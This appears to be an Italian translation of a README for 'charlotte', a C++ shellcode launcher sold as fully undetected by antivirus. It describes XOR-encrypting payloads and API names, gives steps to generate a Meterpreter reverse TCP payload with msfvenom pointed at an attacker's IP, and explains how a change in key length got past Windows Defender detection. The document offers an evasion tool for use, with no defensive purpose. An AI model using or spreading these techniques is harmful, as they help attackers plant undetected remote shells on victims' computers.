charlotte

c++ shellcode launcher completamente non rilevato ;)

rilasciato per celebrare la nascita del mio neonato

descrizione

13/05/2021:

1. shellcode launcher in c++, completamente non rilevato 0/26 al 13 maggio 2021.
2. invocazione dinamica delle funzioni API win32
3. crittografia XOR dello shellcode e dei nomi delle funzioni
4. chiavi XOR e variabili randomizzate per esecuzione
5. su Kali Linux, basta 'apt-get install mingw-w64*' e tutto qui!

17/05/2021:

6. lunghezza casuale delle stringhe e delle chiavi XOR

antiscan.me

utilizzo

clonare il repository, generare il file dello shellcode con nome beacon.bin, ed eseguire charlotte.py

esempio:

1. git clone https://github.com/9emin1/charlotte.git && apt-get install mingw-w64*
2. cd charlotte
3. msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$YOUR_IP LPORT=$YOUR_PORT -f raw > beacon.bin
4. python charlotte.py
5. profitto

testato con msfvenom -p (mostrato nel .gif POC qui sotto) e anche payload in formato raw di cobalt strike

aggiornamento v1.1

17/05/21:

apparentemente Microsoft Windows Defender è stato in grado di rilevare il binario .DLL,

e come lo hanno rilevato? cercando diverse chiavi XOR di dimensione 16 byte

cambiandola a 9 come mostrato nel .gif POC qui sotto si vede che ora è di nuovo non rilevato

saluti!